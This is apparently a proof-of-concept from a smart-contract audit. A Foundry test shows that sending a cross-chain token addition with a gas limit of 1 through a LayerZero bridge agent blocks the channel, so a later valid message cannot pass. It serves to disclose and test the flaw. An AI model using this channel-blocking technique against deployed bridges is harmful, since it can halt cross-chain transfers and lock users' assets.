        //Send Cross-Chain request (System Response/Request)
        IBridgeAgent(localBridgeAgentAddress).callOutSystem{value: msg.value}(payable(msg.sender), payload, _gParams);
    
        ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
            rootChainId,
            rootBridgeAgentPath,
            _payload,
            payable(_refundee),
            address(0),
            abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
        );
function testProofOfConcept() public {
            
            //Switch Chain and Execute Incoming Packets
            switchToLzChain(avaxChainId);

            vm.deal(address(this), 10 ether);

            avaxCoreRouter.addLocalToken{value: 10 ether}(address(avaxMockAssetToken), GasParams(1, 0));

            //Switch Chain and Execute Incoming Packets

            /*  We expect the call to `RootBridgeAgent` to fail with an out of gas error,
                but this won't be caught here due to the `switchToLzChain` abstraction.
            */
            switchToLzChain(rootChainId);

            console2.log("RootBridgeAgent: ", address(arbitrumCoreBranchBridgeAgent).balance);
            avaxMockAssethToken = rootPort.getLocalTokenFromUnderlying(address(avaxMockAssetToken), avaxChainId);

            newAvaxAssetGlobalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);

            // We can now assert that it failed in the root chain
            require(
                rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId) == address(0),
                "Token should be added"
            );
            require(
                rootPort.getLocalTokenFromGlobal(newAvaxAssetGlobalAddress, avaxChainId) == address(0),
                "Token should be added"
            );
            require(
                rootPort.getUnderlyingTokenFromLocal(avaxMockAssethToken, avaxChainId) == address(0),
                "Token should be added"
            );
            switchToLzChain(avaxChainId);

            vm.deal(address(this), 10 ether);

            MockERC20 validToken = new MockERC20("Valid Token", "VALID", 18);

            avaxCoreRouter.addLocalToken{value: 10 ether}(address(validToken), GasParams(2_000_000, 0));

            /*  Here we confirm that we the channel is blocked
                We can see in the stack trace in the console that the call on the Root chain
                was reverted with "LayerZero: in message blocking"
            */
            switchToLzChain(rootChainId);

        }
